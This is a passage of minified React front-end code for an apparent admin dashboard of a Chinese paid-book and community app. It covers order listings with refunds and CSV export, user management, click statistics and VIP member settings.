${Y.userAvatar?"hidden":""}`,children:ce.charAt(0)}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-1",children:[s.jsx("button",{type:"button",onClick:()=>{Y.userId&&(O(Y.userId),R(!0))},className:"text-sm text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:ce}),s.jsx("span",{className:"text-gray-600",children:"·"}),s.jsx("span",{className:"text-sm font-medium text-white truncate",children:ue.title})]}),s.jsxs("div",{className:"flex items-center gap-2 text-xs text-gray-500",children:[ue.subtitle&&ue.subtitle!=="章节购买"&&s.jsx("span",{className:"px-1.5 py-0.5 bg-gray-700/50 rounded",children:ue.subtitle}),s.jsx("span",{children:new Date(Y.createdAt||0).toLocaleString("zh-CN",{month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"})})]}),re&&s.jsxs("p",{className:"text-xs text-gray-600 mt-1",children:["推荐: ",re]})]})]}),s.jsxs("div",{className:"text-right ml-4 flex-shrink-0",children:[s.jsxs("p",{className:"text-sm font-bold text-[#38bdac]",children:["+¥",Number(Y.amount).toFixed(2)]}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:Y.paymentMethod||"微信"})]})]},Y.id)}),h.length>4&&!Z&&s.jsx("button",{type:"button",onClick:()=>ne(!0),className:"w-full py-2 text-sm text-[#38bdac] hover:text-[#2da396] border border-dashed border-gray-600 rounded-lg hover:border-[#38bdac]/50 transition-colors",children:"展开更多"}),h.length===0&&!r&&s.jsxs("div",{className:"text-center py-12",children:[s.jsx(Og,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无订单数据"})]})]})})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"新注册用户"})}),s.jsx(Ee,{children:s.jsx("div",{className:"space-y-3",children:i&&c.length===0?s.jsxs("div",{className:"flex flex-col items-center justify-center py-12 text-gray-500",children:[s.jsx(Ke,{className:"w-8 h-8 animate-spin mb-2"}),s.jsx("span",{className:"text-sm",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[c.slice(0,5).map(Y=>{var B;return s.jsxs("div",{className:"flex items-center justify-between p-4 bg-[#0a1628] rounded-lg border border-gray-700/30",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-10 h-10 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac]",children:((B=Y.nickname)==null?void 0:B.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsx("button",{type:"button",onClick:()=>{O(Y.id),R(!0)},className:"text-sm font-medium text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:Y.nickname||"匿名用户"}),s.jsx("p",{className:"text-xs text-gray-500",children:Y.phone||"-"})]})]}),s.jsx("p",{className:"text-xs text-gray-400",children:Y.createdAt?new Date(Y.createdAt).toLocaleDateString():"-"})]},Y.id)}),c.length===0&&!i&&s.jsx("p",{className:"text-gray-500 text-center py-8",children:"暂无用户数据"})]})})})]})]}),s.jsxs(Ce,{className:"mt-8 bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Tg,{className:"w-5 h-5 text-[#38bdac]"}),"分类标签点击统计"]}),s.jsx("div",{className:"flex items-center gap-2",children:["today","week","month","all"].map(Y=>s.jsx("button",{type:"button",onClick:()=>{xe(Y),z(Y)},className:`px-3 py-1 text-xs rounded-full transition-colors ${fe===Y?"bg-[#38bdac] text-white":"bg-gray-700/50 text-gray-400 hover:bg-gray-700"}`,children:{today:"今日",week:"本周",month:"本月",all:"全部"}[Y]},Y))})]}),s.jsx(Ee,{children:oe&&!$?s.jsxs("div",{className:"flex items-center justify-center py-12 text-gray-500",children:[s.jsx(Ke,{className:"w-6 h-6 animate-spin mr-2"}),s.jsx("span",{children:"加载中..."})]}):$&&Object.keys($.byModule).length>0?s.jsxs("div",{className:"space-y-6",children:[s.jsxs("p",{className:"text-sm text-gray-400",children:["总点击 ",s.jsx("span",{className:"text-white font-bold text-lg",children:$.total})," 次"]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4",children:Object.entries($.byModule).sort((Y,B)=>B[1].reduce((re,ue)=>re+ue.count,0)-Y[1].reduce((re,ue)=>re+ue.count,0)).map(([Y,B])=>{const re=B.reduce((ce,ye)=>ce+ye.count,0),ue={home:"首页",chapters:"目录",read:"阅读",my:"我的",vip:"VIP",wallet:"钱包",match:"找伙伴",referral:"推广",search:"搜索",settings:"设置",about:"关于",other:"其他"};return s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("span",{className:"text-sm font-medium text-[#38bdac]",children:ue[Y]||Y}),s.jsxs("span",{className:"text-xs text-gray-500",children:[re," 次"]})]}),s.jsx("div",{className:"space-y-2",children:B.sort((ce,ye)=>ye.count-ce.count).slice(0,8).map((ce,ye)=>{const Re={开始匹配:"开始匹配",mentor:"导师顾问",team:"团队招募",investor:"资源对接",充值:"充值",退款:"退款",wallet:"钱包",设置:"设置",VIP:"VIP会员",推广:"推广中心",目录:"目录",搜索:"搜索",匹配:"找伙伴",settings:"设置",expired:"已过期",active:"活跃",converted:"已转化",fill_profile:"完善资料",register:"注册",purchase:"购买",btn_click:"按钮点击",nav_click:"导航点击",card_click:"卡片点击",tab_click:"标签切换",rule_trigger:"规则触发",view_chapter:"浏览章节",链接卡若:"链接卡若",更多分享:"更多分享",分享朋友圈文案:"分享朋友圈",选择金额10:"选择金额10元"},Le={btn_click:"按钮点击",nav_click:"导航点击",card_click:"卡片点击",tab_click:"标签切换",purchase:"购买",register:"注册",rule_trigger:"规则触发",view_chapter:"浏览章节"},lt=Re[ce.target]||ce.target||Le[ce.action]||ce.action;return s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-gray-300 truncate mr-2",title:`${ce.action}: ${ce.target}`,children:lt}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsx("div",{className:"w-16 h-1.5 bg-gray-700 rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac] rounded-full",style:{width:`${re>0?ce.count/re*100:0}%`}})}),s.jsx("span",{className:"text-gray-400 w-8 text-right",children:ce.count})]})]},ye)})})]},Y)})})]}):s.jsxs("div",{className:"text-center py-12",children:[s.jsx(Tg,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无点击数据"}),s.jsx("p",{className:"text-gray-600 text-xs mt-1",children:"小程序端接入埋点后,数据将在此实时展示"})]})})]}),s.jsx(n0,{open:L,onClose:()=>{R(!1),O(null)},userId:I,onUserUpdated:()=>V()})]})}const lr=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{className:"relative w-full overflow-auto",children:s.jsx("table",{ref:n,className:Et("w-full caption-bottom text-sm",t),...e})}));lr.displayName="Table";const cr=b.forwardRef(({className:t,...e},n)=>s.jsx("thead",{ref:n,className:Et("[&_tr]:border-b",t),...e}));cr.displayName="TableHeader";const dr=b.forwardRef(({className:t,...e},n)=>s.jsx("tbody",{ref:n,className:Et("[&_tr:last-child]:border-0",t),...e}));dr.displayName="TableBody";const it=b.forwardRef(({className:t,...e},n)=>s.jsx("tr",{ref:n,className:Et("border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted",t),...e}));it.displayName="TableRow";const ke=b.forwardRef(({className:t,...e},n)=>s.jsx("th",{ref:n,className:Et("h-12 px-4 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0",t),...e}));ke.displayName="TableHead";const ve=b.forwardRef(({className:t,...e},n)=>s.jsx("td",{ref:n,className:Et("p-4 align-middle [&:has([role=checkbox])]:pr-0",t),...e}));ve.displayName="TableCell";function r0(t,e){const[n,r]=b.useState(t);return b.useEffect(()=>{const a=setTimeout(()=>r(t),e);return()=>clearTimeout(a)},[t,e]),n}function is({page:t,totalPages:e,total:n,pageSize:r,onPageChange:a,onPageSizeChange:i,pageSizeOptions:o=[10,20,50,100]}){return e<=1&&!i?null:s.jsxs("div",{className:"flex items-center justify-between gap-4 py-4 px-5 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-2 text-sm text-gray-400",children:[s.jsxs("span",{children:["共 ",n," 条"]}),i&&s.jsx("select",{value:r,onChange:c=>i(Number(c.target.value)),className:"bg-[#0f2137] border border-gray-600 rounded px-2 py-1 text-gray-300 text-sm",children:o.map(c=>s.jsxs("option",{value:c,children:[c," 条/页"]},c))})]}),e>1&&s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{type:"button",onClick:()=>a(1),disabled:t<=1,className:"px-2 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"首页"}),s.jsx("button",{type:"button",onClick:()=>a(t-1),disabled:t<=1,className:"px-3 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"上一页"}),s.jsxs("span",{className:"px-3 py-1 text-gray-400 text-sm",children:[t," / ",e]}),s.jsx("button",{type:"button",onClick:()=>a(t+1),disabled:t>=e,className:"px-3 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"下一页"}),s.jsx("button",{type:"button",onClick:()=>a(e),disabled:t>=e,className:"px-2 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"末页"})]})]})}function fP(){const[t,e]=b.useState([]),[n,r]=b.useState([]),[a,i]=b.useState(0),[o,c]=b.useState(0),[u,h]=b.useState(0),[f,m]=b.useState(1),[g,y]=b.useState(10),[N,w]=b.useState(""),v=r0(N,300),[k,C]=b.useState("all"),[E,T]=b.useState(!0),[I,O]=b.useState(null),[L,R]=b.useState(null),[D,_]=b.useState(""),[Z,ne]=b.useState(!1);async function fe(){T(!0),O(null);try{const V=k==="all"?"":k==="completed"?"completed":k,z=new URLSearchParams({page:String(f),pageSize:String(g),...V&&{status:V},...v&&{search:v}}),[U,le]=await Promise.all([De(`/api/admin/orders?${z}`),De("/api/db/users?page=1&pageSize=500")]);U!=null&&U.success&&(e(U.orders||[]),i(U.total??0),c(U.totalRevenue??0),h(U.todayRevenue??0)),le!=null&&le.success&&le.users&&r(le.users)}catch(V){console.error("加载订单失败",V),O("加载订单失败,请检查网络后重试")}finally{T(!1)}}b.useEffect(()=>{m(1)},[v,k]),b.useEffect(()=>{fe()},[f,g,v,k]);const xe=V=>{var z;return V.userNickname||((z=n.find(U=>U.id===V.userId))==null?void 0:z.nickname)||"匿名用户"},$=V=>{var z;return((z=n.find(U=>U.id===V))==null?void 0:z.phone)||"-"},H=V=>{const z=V.productType||V.type||"",U=V.description||"";if(z==="balance_recharge")return{name:`余额充值 ¥${Number(V.amount||0).toFixed(2)}`,type:"余额充值"};if(U){if(z==="section"&&U.includes("章节")){if(U.includes("-")){const le=U.split("-");if(le.length>=3)return{name:`第${le[1]}章 第${le[2]}节`,type:"《一场Soul的创业实验》"}}return{name:U,type:"章节购买"}}return z==="fullbook"||U.includes("全书")?{name:"《一场Soul的创业实验》",type:"全书购买"}:z==="vip"||U.includes("VIP")?{name:"超级个体开通费用",type:"超级个体"}:z==="match"||U.includes("伙伴")?{name:"找伙伴匹配",type:"功能服务"}:{name:U,type:"其他"}}return z==="section"?{name:`章节 ${V.productId||V.sectionId||""}`,type:"单章"}:z==="fullbook"?{name:"《一场Soul的创业实验》",type:"全书"}:z==="vip"?{name:"超级个体开通费用",type:"超级个体"}:z==="match"?{name:"找伙伴匹配",type:"功能"}:{name:"未知商品",type:z||"其他"}},oe=Math.ceil(a/g)||1;async function P(){var V;if(!(!(L!=null&&L.orderSn)&&!(L!=null&&L.id))){ne(!0),O(null);try{const z=await zt("/api/admin/orders/refund",{orderSn:L.orderSn||L.id,reason:D||void 0});z!=null&&z.success?(R(null),_(""),fe()):O((z==null?void 0:z.error)||"退款失败")}catch(z){const U=z;O(((V=U==null?void 0:U.data)==null?void 0:V.error)||"退款失败,请检查网络后重试")}finally{ne(!1)}}}function K(){if(t.length===0){ie.info("暂无数据可导出");return}const V=["订单号","用户","手机号","商品","金额","支付方式","状态","退款原因","分销佣金","下单时间"],z=t.map(B=>{const re=H(B);return[B.orderSn||B.id||"",xe(B),$(B.userId),re.name,Number(B.amount||0).toFixed(2),B.paymentMethod==="wechat"?"微信支付":B.paymentMethod==="balance"?"余额支付":B.paymentMethod==="alipay"?"支付宝":B.paymentMethod||"微信支付",B.status==="refunded"?"已退款":B.status==="paid"||B.status==="completed"?"已完成":B.status==="pending"||B.status==="created"?"待支付":"已失败",B.status==="refunded"&&B.refundReason?B.refundReason:"-",B.referrerEarnings?Number(B.referrerEarnings).toFixed(2):"-",B.createdAt?new Date(B.createdAt).toLocaleString("zh-CN"):""].join(",")}),U="\uFEFF"+[V.join(","),...z].join(` -`),le=new Blob([U],{type:"text/csv;charset=utf-8"}),J=URL.createObjectURL(le),Y=document.createElement("a");Y.href=J,Y.download=`订单列表_${new Date().toISOString().slice(0,10)}.csv`,Y.click(),URL.revokeObjectURL(J)}return s.jsxs("div",{className:"p-8 w-full",children:[I&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:I}),s.jsx("button",{type:"button",onClick:()=>O(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"订单管理"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["共 ",t.length," 笔订单"]})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs(te,{variant:"outline",onClick:fe,disabled:E,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${E?"animate-spin":""}`}),"刷新"]}),s.jsxs("div",{className:"flex items-center gap-2 text-sm",children:[s.jsx("span",{className:"text-gray-400",children:"总收入:"}),s.jsxs("span",{className:"text-[#38bdac] font-bold",children:["¥",o.toFixed(2)]}),s.jsx("span",{className:"text-gray-600",children:"|"}),s.jsx("span",{className:"text-gray-400",children:"今日:"}),s.jsxs("span",{className:"text-[#FFD700] font-bold",children:["¥",u.toFixed(2)]})]})]})]}),s.jsxs("div",{className:"flex items-center gap-4 mb-6",children:[s.jsxs("div",{className:"relative flex-1 max-w-md",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-500"}),s.jsx(se,{type:"text",placeholder:"搜索订单号/用户/章节...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500",value:N,onChange:V=>w(V.target.value)})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Qw,{className:"w-4 h-4 text-gray-400"}),s.jsxs("select",{value:k,onChange:V=>C(V.target.value),className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"created",children:"已创建"}),s.jsx("option",{value:"failed",children:"已失败"}),s.jsx("option",{value:"refunded",children:"已退款"})]})]}),s.jsxs(te,{variant:"outline",onClick:K,disabled:t.length===0,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(pM,{className:"w-4 h-4 mr-2"}),"导出 CSV"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:E?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs("div",{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"订单号"}),s.jsx(ke,{className:"text-gray-400",children:"用户"}),s.jsx(ke,{className:"text-gray-400",children:"商品"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"支付方式"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"退款原因"}),s.jsx(ke,{className:"text-gray-400",children:"分销佣金"}),s.jsx(ke,{className:"text-gray-400",children:"下单时间"}),s.jsx(ke,{className:"text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(V=>{const z=H(V);return s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsxs(ve,{className:"font-mono text-xs text-gray-400",children:[(V.orderSn||V.id||"").slice(0,12),"..."]}),s.jsx(ve,{children:s.jsxs("div",{children:[s.jsxs("p",{className:"text-white text-sm flex items-center gap-2",children:[xe(V),V.payerUserId&&s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0 text-xs",children:"代付"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:$(V.userId)}),V.payerUserId&&V.payerNickname&&s.jsxs("p",{className:"text-amber-400/80 text-xs mt-0.5",children:["代付人:",V.payerNickname]})]})}),s.jsx(ve,{children:s.jsxs("div",{children:[s.jsxs("p",{className:"text-white text-sm flex items-center gap-2",children:[z.name,(V.productType||V.type)==="vip"&&s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0 text-xs",children:"超级个体"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:z.type})]})}),s.jsxs(ve,{className:"text-[#38bdac] font-bold",children:["¥",Number(V.amount||0).toFixed(2)]}),s.jsx(ve,{className:"text-gray-300",children:V.paymentMethod==="wechat"?"微信支付":V.paymentMethod==="balance"?"余额支付":V.paymentMethod==="alipay"?"支付宝":V.paymentMethod||"微信支付"}),s.jsx(ve,{children:V.status==="refunded"?s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 hover:bg-gray-500/20 border-0",children:"已退款"}):V.status==="paid"||V.status==="completed"?s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"已完成"}):V.status==="pending"||V.status==="created"?s.jsx(qe,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:"待支付"}):s.jsx(qe,{className:"bg-red-500/20 text-red-400 hover:bg-red-500/20 border-0",children:"已失败"})}),s.jsx(ve,{className:"text-gray-400 text-sm max-w-[120px] truncate",title:V.refundReason,children:V.status==="refunded"&&V.refundReason?V.refundReason:"-"}),s.jsx(ve,{className:"text-[#FFD700]",children:V.referrerEarnings?`¥${Number(V.referrerEarnings).toFixed(2)}`:"-"}),s.jsx(ve,{className:"text-gray-400 text-sm",children:new Date(V.createdAt).toLocaleString("zh-CN")}),s.jsx(ve,{children:(V.status==="paid"||V.status==="completed")&&V.paymentMethod!=="balance"&&s.jsxs(te,{variant:"outline",size:"sm",className:"border-orange-500/50 text-orange-400 hover:bg-orange-500/20",onClick:()=>{R(V),_("")},children:[s.jsx(rj,{className:"w-3 h-3 mr-1"}),"退款"]})})]},V.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:10,className:"text-center py-12 text-gray-500",children:"暂无订单数据"})})]})]}),s.jsx(is,{page:f,totalPages:oe,total:a,pageSize:g,onPageChange:m,onPageSizeChange:V=>{y(V),m(1)}})]})})}),s.jsx(Dt,{open:!!L,onOpenChange:V=>!V&&R(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"订单退款"})}),L&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["订单号:",L.orderSn||L.id]}),s.jsxs("p",{className:"text-gray-400 text-sm",children:["退款金额:¥",Number(L.amount||0).toFixed(2)]}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"退款原因(选填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"如:用户申请退款",value:D,onChange:V=>_(V.target.value)})})]}),s.jsx("p",{className:"text-orange-400/80 text-xs",children:"退款将原路退回至用户微信,且无法撤销,请确认后再操作。"})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:()=>R(null),disabled:Z,children:"取消"}),s.jsx(te,{className:"bg-orange-500 hover:bg-orange-600 text-white",onClick:P,disabled:Z,children:Z?"退款中...":"确认退款"})]})]})})]})}const _l=b.forwardRef(({className:t,...e},n)=>s.jsx("textarea",{className:Et("flex min-h-[80px] w-full rounded-md border border-input bg-background px-3 py-2 text-sm placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50",t),ref:n,...e}));_l.displayName="Textarea";const Ou=[{id:"register",label:"注册/登录",icon:"👤",color:"bg-blue-500/20 border-blue-500/40 text-blue-400",desc:"微信授权登录或手机号注册"},{id:"browse",label:"浏览章节",icon:"📖",color:"bg-purple-500/20 border-purple-500/40 text-purple-400",desc:"点击免费/付费章节预览"},{id:"bind_phone",label:"绑定手机",icon:"📱",color:"bg-cyan-500/20 border-cyan-500/40 text-cyan-400",desc:"触发付费章节后绑定手机"},{id:"first_pay",label:"首次付款",icon:"💳",color:"bg-green-500/20 border-green-500/40 text-green-400",desc:"购买单章或全书"},{id:"fill_profile",label:"完善资料",icon:"✍️",color:"bg-yellow-500/20 border-yellow-500/40 text-yellow-400",desc:"填写头像、MBTI、行业等"},{id:"match",label:"派对房匹配",icon:"🤝",color:"bg-orange-500/20 border-orange-500/40 text-orange-400",desc:"参与 Soul 派对房"},{id:"vip",label:"升级 VIP",icon:"👑",color:"bg-amber-500/20 border-amber-500/40 text-amber-400",desc:"付款 ¥1980 购买全书"},{id:"distribution",label:"开启分销",icon:"🔗",color:"bg-[#38bdac]/20 border-[#38bdac]/40 text-[#38bdac]",desc:"生成推广码并推荐好友"}];function pP(){var fs,Di,Ps,Li,Pa;const[t,e]=Ww(),n=t.get("pool"),[r,a]=b.useState([]),[i,o]=b.useState(0),[c,u]=b.useState(1),[h,f]=b.useState(10),[m,g]=b.useState(""),y=r0(m,300),N=n==="vip"?"vip":n==="complete"?"complete":"all",[w,v]=b.useState(N),[k,C]=b.useState(!0),[E,T]=b.useState(!1),[I,O]=b.useState(null),[L,R]=b.useState(!1),[D,_]=b.useState("desc");b.useEffect(()=>{n==="vip"?v("vip"):n==="complete"?v("complete"):n==="all"&&v("all")},[n]);const[Z,ne]=b.useState(!1),[fe,xe]=b.useState(null),[$,H]=b.useState(!1),[oe,P]=b.useState(!1),[K,V]=b.useState({referrals:[],stats:{}}),[z,U]=b.useState(!1),[le,J]=b.useState(null),[Y,B]=b.useState(!1),[re,ue]=b.useState(null),[ce,ye]=b.useState({phone:"",nickname:"",password:"",isAdmin:!1,hasFullBook:!1}),[Re,Le]=b.useState([]),[lt,Tt]=b.useState(!1),[ln,yt]=b.useState(!1),[nn,In]=b.useState(null),[Mt,Yt]=b.useState({title:"",description:"",trigger:"",sort:0,enabled:!0}),[rn,Rn]=b.useState([]),[pr,Pn]=b.useState(!1),[Hn,q]=b.useState(null),[We,Je]=b.useState(null),[xt,ct]=b.useState({}),[nt,gt]=b.useState(!1);async function Rt(W=!1){var Pe;C(!0),W&&T(!0),O(null);try{if(L){const Ve=new URLSearchParams({search:y,limit:String(h*5)}),Ge=await De(`/api/db/users/rfm?${Ve}`);if(Ge!=null&&Ge.success){let Nn=Ge.users||[];D==="asc"&&(Nn=[...Nn].reverse());const gr=(c-1)*h;a(Nn.slice(gr,gr+h)),o(((Pe=Ge.users)==null?void 0:Pe.length)??0),Nn.length===0&&(R(!1),O("暂无订单数据,RFM 排序需要用户有购买记录后才能生效"))}else R(!1),O((Ge==null?void 0:Ge.error)||"RFM 加载失败,已切回普通模式")}else{const Ve=new URLSearchParams({page:String(c),pageSize:String(h),search:y,...w==="vip"&&{vip:"true"},...w==="complete"&&{pool:"complete"}}),Ge=await De(`/api/db/users?${Ve}`);Ge!=null&&Ge.success?(a(Ge.users||[]),o(Ge.total??0)):O((Ge==null?void 0:Ge.error)||"加载失败")}}catch(Ve){console.error("Load users error:",Ve),O("网络错误")}finally{C(!1),W&&T(!1)}}b.useEffect(()=>{u(1)},[y,w,L]),b.useEffect(()=>{Rt()},[c,h,y,w,L,D]);const gn=Math.ceil(i/h)||1,mr=()=>{L?D==="desc"?_("asc"):(R(!1),_("desc")):(R(!0),_("desc"))},wr=W=>({S:"bg-amber-500/20 text-amber-400",A:"bg-green-500/20 text-green-400",B:"bg-blue-500/20 text-blue-400",C:"bg-gray-500/20 text-gray-400",D:"bg-red-500/20 text-red-400"})[W||""]||"bg-gray-500/20 text-gray-400";async function As(W){var Pe;if(confirm("确定要删除这个用户吗?"))try{const Ve=await Bs(`/api/db/users?id=${encodeURIComponent(W)}`);Ve!=null&&Ve.success?(ie.success("已删除"),Rt()):ie.error("删除失败: "+((Ve==null?void 0:Ve.error)||"未知错误"))}catch(Ve){const Ge=Ve,Nn=((Pe=Ge==null?void 0:Ge.data)==null?void 0:Pe.error)||(Ge==null?void 0:Ge.message)||"网络错误";ie.error("删除失败: "+Nn)}}const Wr=W=>{xe(W),ye({phone:W.phone||"",nickname:W.nickname||"",password:"",isAdmin:!!(W.isAdmin??!1),hasFullBook:!!(W.hasFullBook??!1)}),ne(!0)},Is=()=>{xe(null),ye({phone:"",nickname:"",password:"",isAdmin:!1,hasFullBook:!1}),ne(!0)};async function pe(){if(!ce.phone||!ce.nickname){ie.error("请填写手机号和昵称");return}H(!0);try{if(fe){const W=await zt("/api/db/users",{id:fe.id,phone:ce.phone||void 0,nickname:ce.nickname,isAdmin:ce.isAdmin,hasFullBook:ce.hasFullBook,...ce.password&&{password:ce.password}});if(!(W!=null&&W.success)){ie.error("更新失败: "+((W==null?void 0:W.error)||""));return}}else{const W=await vt("/api/db/users",{phone:ce.phone,nickname:ce.nickname,password:ce.password,isAdmin:ce.isAdmin});if(!(W!=null&&W.success)){ie.error("创建失败: "+((W==null?void 0:W.error)||""));return}}ne(!1),Rt()}catch{ie.error("保存失败")}finally{H(!1)}}async function ge(W){J(W),P(!0),U(!0);try{const Pe=await De(`/api/db/users/referrals?userId=${encodeURIComponent(W.id)}`);Pe!=null&&Pe.success?V({referrals:Pe.referrals||[],stats:Pe.stats||{}}):V({referrals:[],stats:{}})}catch{V({referrals:[],stats:{}})}finally{U(!1)}}const Pt=b.useCallback(async()=>{Tt(!0);try{const W=await De("/api/db/user-rules");W!=null&&W.success&&Le(W.rules||[])}catch{}finally{Tt(!1)}},[]);async function On(){if(!Mt.title){ie.error("请填写规则标题");return}H(!0);try{if(nn){const W=await zt("/api/db/user-rules",{id:nn.id,...Mt});if(!(W!=null&&W.success)){ie.error("更新失败: "+((W==null?void 0:W.error)||""));return}}else{const W=await vt("/api/db/user-rules",Mt);if(!(W!=null&&W.success)){ie.error("创建失败: "+((W==null?void 0:W.error)||""));return}}yt(!1),Pt()}catch{ie.error("保存失败")}finally{H(!1)}}async function Qs(W){if(confirm("确定删除?"))try{const Pe=await Bs(`/api/db/user-rules?id=${W}`);Pe!=null&&Pe.success&&Pt()}catch{}}async function Xs(W){try{await zt("/api/db/user-rules",{id:W.id,enabled:!W.enabled}),Pt()}catch{}}const Wn=b.useCallback(async()=>{Pn(!0);try{const W=await De("/api/db/vip-members?limit=500");if(W!=null&&W.success&&W.data){const Pe=[...W.data].map((Ve,Ge)=>({...Ve,vipSort:typeof Ve.vipSort=="number"?Ve.vipSort:Ge+1}));Pe.sort((Ve,Ge)=>(Ve.vipSort??999999)-(Ge.vipSort??999999)),Rn(Pe)}else W&&W.error&&ie.error(W.error)}catch{ie.error("加载超级个体列表失败")}finally{Pn(!1)}},[]),[Zs,ft]=b.useState(!1),[xn,Ur]=b.useState(null),[Ir,ds]=b.useState(""),[Dn,us]=b.useState(!1),hs=["创业者","资源整合者","技术达人","投资人","产品经理","流量操盘手"],Rs=W=>{Ur(W),ds(W.vipRole||""),ft(!0)},Ma=async W=>{const Pe=W.trim();if(xn){if(!Pe){ie.error("请选择或输入标签");return}us(!0);try{const Ve=await zt("/api/db/users",{id:xn.id,vipRole:Pe});if(!(Ve!=null&&Ve.success)){ie.error((Ve==null?void 0:Ve.error)||"更新超级个体标签失败");return}ie.success("已更新超级个体标签"),ft(!1),Ur(null),await Wn()}catch{ie.error("更新超级个体标签失败")}finally{us(!1)}}},[er,Kr]=b.useState(!1),[ea,Rr]=b.useState(null),[Pi,Aa]=b.useState(""),[Ro,Ia]=b.useState(!1),qr=W=>{Rr(W),Aa(W.vipSort!=null?String(W.vipSort):""),Kr(!0)},Gr=async()=>{if(!ea)return;const W=Number(Pi);if(!Number.isFinite(W)){ie.error("请输入有效的数字序号");return}Ia(!0);try{const Pe=await zt("/api/db/users",{id:ea.id,vipSort:W});if(!(Pe!=null&&Pe.success)){ie.error((Pe==null?void 